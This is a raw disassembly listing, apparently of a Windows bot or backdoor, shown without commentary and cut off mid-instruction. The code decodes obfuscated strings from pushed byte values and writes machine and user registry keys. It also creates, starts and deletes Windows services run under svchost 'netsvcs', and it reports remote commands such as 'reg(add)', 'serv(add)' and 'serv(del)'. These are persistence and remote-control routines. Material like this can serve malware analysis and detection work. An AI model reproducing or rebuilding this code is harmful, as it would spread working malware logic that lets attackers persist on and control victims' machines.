80000002h call ebp mov ecx, esi call sub_40168B mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, esi call sub_40168B push eax push 1 push 0 mov ecx, ebx call sub_40168B mov ecx, [esp+90h+var_70] push eax push ecx nop call near ptr 2970000h mov edx, [esp+80h+var_70] push edx nop call near ptr 2930000h lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_54] call sub_4017EE push eax push 80000001h call ebp mov ecx, esi call sub_40168B mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, esi call sub_40168B push eax push 1 push 0 mov ecx, ebx call sub_40168B mov ecx, [esp+90h+var_70] push eax push ecx nop call near ptr 2970000h mov edx, [esp+80h+var_70] push edx nop call near ptr 2930000h lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_6C] call sub_4017EE push eax push 80000001h call ebp mov ecx, esi call sub_40168B mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, esi call sub_40168B push eax push 1 push 0 mov ecx, ebx call sub_40168B mov ecx, [esp+90h+var_70] push eax push ecx nop call near ptr 2970000h mov edx, [esp+80h+var_70] push edx nop call near ptr 2930000h lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_3C] call sub_4017EE push eax push 80000002h call ebp mov ecx, esi call sub_40168B mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, esi call sub_40168B push eax push 1 push 0 mov ecx, ebx call sub_40168B mov ecx, [esp+90h+var_70] push eax push ecx call near ptr 2970000h nop mov edx, [esp+80h+var_70] push edx nop call near ptr 2930000h lea ecx, [esp+80h+var_3C] mov byte ptr [esp+80h+var_4], 1 call sub_401226 lea ecx, [esp+80h+var_6C] mov byte ptr [esp+80h+var_4], 0 call sub_401226 lea ecx, [esp+80h+var_54] mov [esp+80h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+80h+var_C] pop edi pop esi pop ebp mov al, 1 pop ebx mov large fs:0, ecx add esp, 70h retn 8 sub_40E2F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 120h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40E870 proc near ; CODE XREF: sub_401451j var_70 = dword ptr -70h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_40E870 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 64h push ebx push ebp push esi push edi lea ecx, [esp+80h+var_6C] call sub_40142E lea ecx, [esp+80h+var_3C] mov [esp+80h+var_4], 0 call sub_40142E lea ecx, [esp+80h+var_54] mov byte ptr [esp+80h+var_4], 1 call sub_40142E push 0 push 5 push 3 push 0Eh push 29h push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea eax, [esp+144h+var_24] mov bl, 2 push 2Dh push eax mov byte ptr [esp+14Ch+var_4], bl call sub_4019C4 add esp, 0CCh push eax lea ecx, [esp+84h+var_3C] mov byte ptr [esp+84h+var_4], 3 call sub_40202C lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 push 0 push 13h push 5 push 3 push 9 push 16h push 12h push 5 push 2Dh push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea ecx, [esp+154h+var_24] push 2Dh push ecx call sub_4019C4 add esp, 0DCh push eax lea ecx, [esp+84h+var_54] mov byte ptr [esp+84h+var_4], 4 call sub_40202C lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 push 0 push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea edx, [esp+134h+var_24] push 2Dh push edx call sub_4019C4 add esp, 0BCh push eax lea ecx, [esp+84h+var_6C] mov byte ptr [esp+84h+var_4], 5 call sub_40202C lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_6C] call sub_4017EE mov esi, dword_51175C push eax push 80000002h call esi mov edi, [esp+80h+arg_0] mov ecx, edi call sub_40168B mov ecx, [esp+80h+var_70] mov ebp, dword_51176C push eax push ecx call ebp mov edx, [esp+80h+var_70] mov ebx, dword_511740 push edx call ebx lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_54] call sub_4017EE push eax push 80000002h call esi mov ecx, edi call sub_40168B mov ecx, [esp+80h+var_70] push eax push ecx call ebp mov edx, [esp+80h+var_70] push edx call ebx lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_6C] call sub_4017EE push eax push 80000002h call esi mov ecx, edi call sub_40168B mov ecx, [esp+80h+var_70] push eax push ecx call ebp mov edx, [esp+80h+var_70] push edx call ebx lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_6C] call sub_4017EE push eax push 80000001h call esi mov ecx, edi call sub_40168B mov ecx, [esp+80h+var_70] push eax push ecx call ebp mov edx, [esp+80h+var_70] push edx call ebx lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_3C] call sub_4017EE push eax push 80000001h call esi mov ecx, edi call sub_40168B mov ecx, [esp+80h+var_70] push eax push ecx call ebp mov edx, [esp+80h+var_70] push edx call ebx lea ecx, [esp+80h+var_54] mov byte ptr [esp+80h+var_4], 1 call sub_401226 lea ecx, [esp+80h+var_3C] mov byte ptr [esp+80h+var_4], 0 call sub_401226 mov [esp+80h+var_4], 0FFFFFFFFh lea ecx, [esp+80h+var_6C] call sub_401226 mov ecx, [esp+80h+var_C] pop edi pop esi pop ebp mov al, 1 pop ebx mov large fs:0, ecx add esp, 70h retn 4 sub_40E870 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 0F0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40ED00 proc near ; CODE XREF: sub_4014A1j var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_40ED00 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 48h push ebx push esi mov esi, ecx lea ecx, [esp+5Ch+var_24] call sub_40142E push 104h push 104h lea ecx, [esp+64h+var_24] mov [esp+64h+var_4], 0 call sub_401C71 push eax nop call near ptr 2800000h lea ecx, [esp+5Ch+var_3C] call sub_40142E mov ecx, [esp+5Ch+arg_4] mov byte ptr [esp+5Ch+var_4], 1 call sub_4017EE push eax lea ecx, [esp+60h+var_24] call sub_4017EE push eax lea eax, [esp+64h+var_3C] push offset dword_444684 push eax call sub_40102D add esp, 10h lea ecx, [esp+5Ch+var_54] call sub_40142E lea ecx, [esp+5Ch+var_54] push offset aNetsvcs ; "-netsvcs" push ecx mov byte ptr [esp+64h+var_4], 2 call sub_40102D mov ecx, [esp+64h+arg_0] add esp, 8 lea edx, [esp+5Ch+var_54] lea eax, [esp+5Ch+var_3C] push edx push eax push ecx mov ecx, esi call sub_402171 lea ecx, [esp+5Ch+var_54] mov bl, al mov byte ptr [esp+5Ch+var_4], 1 call sub_401226 lea ecx, [esp+5Ch+var_3C] mov byte ptr [esp+5Ch+var_4], 0 call sub_401226 lea ecx, [esp+5Ch+var_24] mov [esp+5Ch+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+5Ch+var_C] mov al, bl pop esi pop ebx mov large fs:0, ecx add esp, 54h retn 8 sub_40ED00 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40EE40 proc near ; CODE XREF: sub_402171j var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0FFFFFFFFh push offset SEH_40EE40 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 38h push ebx push ebp push esi push edi push 0F003Fh push offset aServicesactive ; "ServicesActive" mov [esp+5Ch+var_44], ecx push 0 call near ptr 2930926h nop mov edi, eax test edi, edi jnz short loc_40EE7F xor al, al jmp loc_40EFD0 ; --------------------------------------------------------------------------- loc_40EE7F: ; CODE XREF: sub_40EE40+36j lea ecx, [esp+54h+var_24] call sub_40142E mov ecx, [esp+54h+arg_8] mov [esp+54h+var_4], 0 call sub_4017EE mov ebx, [esp+54h+arg_4] push eax mov ecx, ebx call sub_4017EE push eax lea eax, [esp+5Ch+var_24] push offset aSS_4 ; "\"%s\" %s" push eax call sub_40102D add esp, 10h lea ecx, [esp+54h+var_24] push 0 push 0 push 0 push 0 push 0 call sub_4017EE push eax push 1 push 2 push 20h push 0F01FFh mov ecx, offset dword_449834 call sub_4017EE mov ebp, [esp+7Ch+arg_0] push eax mov ecx, ebp call sub_4017EE push eax push edi nop call near ptr 2930C4Ch mov esi, eax xor ecx, ecx cmp esi, ecx jnz short loc_40EF65 nop call near ptr 27D0990h cmp eax, 431h jnz short loc_40EF49 mov ecx, [esp+54h+var_44] push ebp call sub_401951 mov esi, dword_511754 push 0 call esi push edi call esi mov ecx, [esp+54h+var_44] push ebx push ebp call sub_4014A1 lea ecx, [esp+54h+var_24] mov bl, al mov [esp+54h+var_4], 0FFFFFFFFh call sub_401226 mov al, bl jmp loc_40EFD0 ; --------------------------------------------------------------------------- loc_40EF49: ; CODE XREF: sub_40EE40+CBj push edi nop call near ptr 2940000h lea ecx, [esp+54h+var_24] mov [esp+54h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp short loc_40EFD0 ; --------------------------------------------------------------------------- loc_40EF65: ; CODE XREF: sub_40EE40+BEj lea edx, [esp+54h+var_38] mov [esp+54h+var_34], ecx mov dword ptr [esp+54h+var_30], ecx push edx mov eax, 1 or ebx, 0FFFFFFFFh lea ecx, [esp+58h+var_40] push 2 push esi mov [esp+60h+var_3C], eax mov [esp+60h+var_40], eax mov [esp+60h+var_38], ebx mov [esp+60h+var_2C], eax mov [esp+60h+var_28], ecx nop call near ptr 2940261h test eax, eax push esi mov esi, dword_511754 jnz short loc_40EFBC call esi push edi call esi lea ecx, [esp+54h+var_24] mov [esp+54h+var_4], ebx call sub_401226 xor al, al jmp short loc_40EFD0 ; --------------------------------------------------------------------------- loc_40EFBC: ; CODE XREF: sub_40EE40+164j call esi push edi call esi lea ecx, [esp+54h+var_24] mov [esp+54h+var_4], ebx call sub_401226 mov al, 1 loc_40EFD0: ; CODE XREF: sub_40EE40+3Aj ; sub_40EE40+104j ... mov ecx, [esp+54h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 44h retn 0Ch sub_40EE40 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40F060 proc near ; CODE XREF: sub_401951j var_1C = byte ptr -1Ch arg_0 = dword ptr 4 sub esp, 1Ch push esi push edi push 0F003Fh push offset aServicesactive ; "ServicesActive" push 0 nop call near ptr 2930926h mov edi, eax test edi, edi jnz short loc_40F087 pop edi xor al, al pop esi add esp, 1Ch retn 4 ; --------------------------------------------------------------------------- loc_40F087: ; CODE XREF: sub_40F060+1Bj mov ecx, [esp+24h+arg_0] push 0F01FFh call sub_4017EE push eax push edi nop call near ptr 28D03D8h mov esi, eax test esi, esi jnz short loc_40F0B4 push edi nop call near ptr 2940000h pop edi xor al, al pop esi add esp, 1Ch retn 4 ; --------------------------------------------------------------------------- loc_40F0B4: ; CODE XREF: sub_40F060+41j lea eax, [esp+24h+var_1C] push eax push 1 push esi call near ptr 2930545h nop push esi nop call near ptr 293078Eh push esi mov esi, dword_511754 call esi push edi call esi pop edi mov al, 1 pop esi add esp, 1Ch retn 4 sub_40F060 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40F100 proc near ; CODE XREF: sub_401FD2j arg_0 = dword ptr 4 push esi push 0F003Fh push offset aServicesactive ; "ServicesActive" push 0 nop call near ptr 2930926h mov esi, eax test esi, esi jnz short loc_40F11F xor al, al pop esi retn 4 ; --------------------------------------------------------------------------- loc_40F11F: ; CODE XREF: sub_40F100+17j mov ecx, [esp+4+arg_0] push 0F01FFh call sub_4017EE push eax push esi nop call near ptr 28D03D8h test eax, eax jnz short loc_40F146 push esi nop call near ptr 2940000h xor al, al pop esi retn 4 ; --------------------------------------------------------------------------- loc_40F146: ; CODE XREF: sub_40F100+37j push edi mov edi, dword_511754 push eax call edi push esi call edi pop edi mov al, 1 pop esi retn 4 sub_40F100 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40F180 proc near ; CODE XREF: sub_401FFAj arg_0 = dword ptr 4 push esi push edi push 0F003Fh push offset aServicesactive ; "ServicesActive" push 0 nop call near ptr 2930926h mov edi, eax test edi, edi jnz short loc_40F1A1 pop edi xor al, al pop esi retn 4 ; --------------------------------------------------------------------------- loc_40F1A1: ; CODE XREF: sub_40F180+18j mov ecx, [esp+8+arg_0] push 0F01FFh call sub_4017EE push eax push edi nop call near ptr 28D03D8h mov esi, eax test esi, esi jnz short loc_40F1CB push edi nop call near ptr 2940000h pop edi xor al, al pop esi retn 4 ; --------------------------------------------------------------------------- loc_40F1CB: ; CODE XREF: sub_40F180+3Bj push 0 push 0 push esi nop call near ptr 2920AA7h push esi mov esi, dword_511754 call esi push edi call esi pop edi mov al, 1 pop esi retn 4 sub_40F180 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_40F210: ; CODE XREF: ___:loc_4014ABj mov eax, large fs:0 push 0FFFFFFFFh push offset loc_43A348 push eax mov large fs:0, esp sub esp, 60h push ebx push esi mov esi, [esp+78h] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+19h] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_40F30A push 1 push offset asc_444600 ; " " lea eax, [esp+2Ch] push 1 push eax mov ecx, esi call sub_4011EA push 1 push offset asc_444600 ; " " lea ecx, [esp+14h] push 2 xor ebx, ebx push ecx mov ecx, esi mov [esp+84h], ebx call sub_4011EA lea edx, [esp+0Ch] lea eax, [esp+24h] push edx push eax mov ecx, edi mov byte ptr [esp+7Ch], 1 call sub_401730 test al, al jz short loc_40F2D6 lea ecx, [esp+0Ch] call sub_4017EE push eax lea ecx, [esp+28h] call sub_4017EE push eax push offset aRegAddSAsS_ ; "reg(add) \"%s\" as \"%s\"." lea ecx, [esi+69h] call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D8075 call sub_401857 add esp, 1Ch loc_40F2D6: ; CODE XREF: ___:0040F297j lea ecx, [esp+0Ch] mov [esp+74h], bl call sub_401226 lea ecx, [esp+24h] mov dword ptr [esp+74h], 0FFFFFFFFh call sub_401226 pop edi pop esi mov al, 1 pop ebx mov ecx, [esp+60h] mov large fs:0, ecx add esp, 6Ch retn 4 ; --------------------------------------------------------------------------- loc_40F30A: ; CODE XREF: ___:0040F246j lea ecx, [edi+47h] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_40F3A9 push 1 push offset asc_444600 ; " " lea eax, [esp+2Ch] push 1 push eax mov ecx, esi call sub_4011EA lea ecx, [esp+24h] mov dword ptr [esp+74h], 2 push ecx mov ecx, edi call sub_401451 test al, al jz short loc_40F382 lea ecx, [esp+24h] call sub_4017EE push eax push offset aRegDelS_ ; "reg(del) \"%s\"." lea ecx, [esi+69h] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8075 call sub_401857 add esp, 18h loc_40F382: ; CODE XREF: ___:0040F34Dj lea ecx, [esp+24h] mov dword ptr [esp+74h], 0FFFFFFFFh call sub_401226 pop edi pop esi mov al, 1 pop ebx mov ecx, [esp+60h] mov large fs:0, ecx add esp, 6Ch retn 4 ; --------------------------------------------------------------------------- loc_40F3A9: ; CODE XREF: ___:0040F31Cj lea ecx, [edi+75h] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_40F4BF push 1 push offset asc_444600 ; " " lea ecx, [esp+44h] push 1 push ecx mov ecx, esi call sub_4011EA push 1 push offset asc_444600 ; " " lea edx, [esp+14h] push 2 push edx mov ecx, esi mov dword ptr [esp+84h], 3 call sub_4011EA push 1 push offset asc_444600 ; " " lea eax, [esp+2Ch] mov bl, 4 push 3 push eax mov ecx, esi mov [esp+84h], bl call sub_4011EA lea ecx, [esp+24h] lea edx, [esp+0Ch] push ecx lea eax, [esp+40h] push edx push eax mov ecx, edi mov byte ptr [esp+80h], 5 call sub_402171 test al, al jz short loc_40F47D lea ecx, [esp+24h] call sub_4017EE push eax lea ecx, [esp+10h] call sub_4017EE push eax lea ecx, [esp+44h] call sub_4017EE push eax push offset aServAddSAsSS_ ; "serv(add) \"%s\" as \"\"%s\" %s\"." lea ecx, [esi+69h] call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D8075 call sub_401857 add esp, 20h loc_40F47D: ; CODE XREF: ___:0040F434j lea ecx, [esp+24h] mov [esp+74h], bl call sub_401226 lea ecx, [esp+0Ch] mov byte ptr [esp+74h], 3 call sub_401226 lea ecx, [esp+3Ch] mov dword ptr [esp+74h], 0FFFFFFFFh call sub_401226 pop edi pop esi mov al, 1 pop ebx mov ecx, [esp+60h] mov large fs:0, ecx add esp, 6Ch retn 4 ; --------------------------------------------------------------------------- loc_40F4BF: ; CODE XREF: ___:0040F3BBj lea ecx, [edi+0A3h] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_40F561 push 1 push offset asc_444600 ; " " lea eax, [esp+5Ch] push 1 push eax mov ecx, esi call sub_4011EA lea ecx, [esp+54h] mov dword ptr [esp+74h], 6 push ecx mov ecx, edi call sub_401951 test al, al jz short loc_40F53A lea ecx, [esp+54h] call sub_4017EE push eax push offset aServDelS_ ; "serv(del) \"%s\"." lea ecx, [esi+69h] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8075 call sub_401857 add esp, 18h loc_40F53A: ; CODE XREF: ___:0040F505j lea ecx, [esp+54h] mov dword ptr [esp+74h], 0FFFFFFFFh call sub_401226 pop edi pop esi mov al, 1 pop ebx mov ecx, [esp+60h] mov large fs:0, ecx add esp, 6Ch retn 4 ; --------------------------------------------------------------------------- loc_40F561: ; CODE XREF: ___:0040F4D4j mov ecx, [esp+6Ch] pop edi pop esi xor al, al pop ebx mov large fs:0, ecx add esp, 6Ch retn 4 ; --------------------------------------------------------------------------- db 9 dup(90h) db 0E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40F660 proc near ; CODE XREF: sub_401D16j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] push edi mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx push ecx nop call near ptr 77C2C407h mov edx, eax mov eax, [esp+0Ch+arg_0] mov edi, esi or ecx, 0FFFFFFFFh mov [eax], edx xor eax, eax add esp, 4 repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb pop edi pop esi retn sub_40F660 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40F6D0 proc near ; CODE XREF: sub_40169Fj var_29 = byte ptr -29h var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40F6D0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 20h push ebx push ebp push esi mov esi, ecx push edi mov [esp+3Ch+var_28], esi call sub_401E88 lea edi, [esi+11h] mov [esp+3Ch+var_4], 0 mov ecx, edi call sub_4011B3 lea ebp, [esi+28h] mov ecx, ebp call sub_40142E lea ecx, [esi+3Dh] mov byte ptr [esp+3Ch+var_4], 1 call sub_40142E lea ecx, [esi+56h] mov byte ptr [esp+3Ch+var_4], 2 call sub_401753 lea ecx, [esi+84h] mov byte ptr [esp+3Ch+var_4], 3 call sub_401753 lea ecx, [esi+0B2h] mov byte ptr [esp+3Ch+var_4], 4 call sub_401753 lea ecx, [esi+0E0h] mov byte ptr [esp+3Ch+var_4], 5 call sub_401753 lea ecx, [esi+10Eh] mov byte ptr [esp+3Ch+var_4], 6 call sub_401753 lea ecx, [esi+13Ch] mov byte ptr [esp+3Ch+var_4], 7 call sub_401753 lea ecx, [esi+16Ah] mov byte ptr [esp+3Ch+var_4], 8 call sub_401753 lea ecx, [esi+198h] mov byte ptr [esp+3Ch+var_4], 9 call sub_401753 lea ecx, [esi+1C6h] mov byte ptr [esp+3Ch+var_4], 0Ah call sub_401753 lea ecx, [esi+1F4h] mov byte ptr [esp+3Ch+var_4], 0Bh call sub_401753 lea ecx, [esi+222h] mov byte ptr [esp+3Ch+var_4], 0Ch call sub_401753 lea ecx, [esi+250h] mov byte ptr [esp+3Ch+var_4], 0Dh call sub_401753 lea ecx, [esi+27Eh] mov byte ptr [esp+3Ch+var_4], 0Eh call sub_401753 lea ecx, [esi+2ACh] mov byte ptr [esp+3Ch+var_4], 0Fh call sub_401753 lea eax, [esp+3Ch+var_29] lea ecx, [esi+2DAh] push eax mov byte ptr [esp+40h+var_4], 10h call sub_40172B mov dword ptr [edi], offset off_43F034 mov bl, 11h xor edi, edi push offset byte_448F30 mov ecx, ebp mov byte ptr [esp+40h+var_4], bl mov dword ptr [esi], offset off_43F028 mov byte ptr [esi+17h], 1 mov byte ptr [esi+15h], 0 mov byte ptr [esi+16h], 0 mov dword ptr [esi+18h], 0FFFFFFFFh mov [esi+1Ch], edi mov [esi+20h], edi call sub_4015E1 nop call near ptr 27F0C4Bh push edi push 21h push 28h push 23h lea ecx, [esp+4Ch+var_24] push 2Ah push ecx mov [esi+24h], eax call sub_4019C4 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 12h call sub_4017EE push eax push offset dword_4490BC call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 1Fh push 1Dh push 23h push 2Eh push 29h lea edx, [esp+54h+var_24] push 28h push edx call sub_4019C4 add esp, 20h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 13h call sub_4017EE push eax push offset dword_4490C0 call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 28h push 23h push 29h lea eax, [esp+4Ch+var_24] push 24h push eax call sub_4019C4 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 14h call sub_4017EE push eax push offset dword_4490C4 call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 21h push 2Dh push 27h push 30h push 23h push 2Ch lea ecx, [esp+58h+var_24] push 2Ah push ecx call sub_4019C4 add esp, 24h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 15h call sub_4017EE push eax push offset dword_4490C8 call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 2Eh push 2Dh push 29h push 22h push 2Ch push 1Fh push 2Dh lea edx, [esp+5Ch+var_24] push 2Fh push edx call sub_4019C4 add esp, 28h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 16h call sub_4017EE push eax push offset dword_4490CC call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 46h push 47h lea eax, [esp+48h+var_24] push 47h push eax call sub_4019C4 add esp, 14h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 17h call sub_4017EE push eax push offset dword_4490D0 call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 46h push 44h lea ecx, [esp+48h+var_24] push 47h push ecx call sub_4019C4 add esp, 14h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 18h call sub_4017EE push eax push offset dword_4490D4 call sub_401D16 add esp, 8 mov byte ptr [esp+3Ch+var_4], bl lea ecx, [esp+3Ch+var_24] call sub_401226 push edi push 21h push 28h push 29h lea edx, [esp+4Ch+var_24] push 2Ah push edx call sub_4019C4 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 19h call sub_4017EE push eax push offset dword_4490D8 call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 2Dh push 2Dh push 1Bh lea eax, [esp+4Ch+var_24] push 2Ah push eax call sub_4019C4 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Ah call sub_4017EE push eax push offset dword_4490DC call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 25h push 1Dh push 23h lea ecx, [esp+4Ch+var_24] push 28h push ecx call sub_4019C4 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Bh call sub_4017EE push eax push offset dword_4490E0 call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 2Ch push 1Fh push 2Dh lea edx, [esp+4Ch+var_24] push 2Fh push edx call sub_4019C4 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Ch call sub_4017EE push eax push offset dword_4490E4 call sub_401D16 add esp, 8 mov byte ptr [esp+3Ch+var_4], bl lea ecx, [esp+3Ch+var_24] call sub_401226 push edi push 47h push 49h lea eax, [esp+48h+var_24] push 47h push eax call sub_4019C4 add esp, 14h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Dh call sub_4017EE push eax push offset dword_4490E8 call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 25h push 1Dh push 23h lea ecx, [esp+4Ch+var_24] push 25h push ecx call sub_4019C4 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Eh call sub_4017EE push eax push offset dword_4490EC call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 2Eh push 2Ch push 1Bh lea edx, [esp+4Ch+var_24] push 2Ah push edx call sub_4019C4 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Fh call sub_4017EE push eax push offset dword_4490F0 call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 1Fh push 1Eh push 29h lea eax, [esp+4Ch+var_24] push 27h push eax call sub_4019C4 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 20h call sub_4017EE push eax push offset dword_4490F4 call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 45h push 44h lea ecx, [esp+48h+var_24] push 44h push ecx call sub_4019C4 add esp, 14h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 21h call sub_4017EE push eax push offset dword_4490F8 call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 49h push 44h lea edx, [esp+48h+var_24] push 44h push edx call sub_4019C4 add esp, 14h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 22h call sub_4017EE push eax push offset dword_4490FC call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr 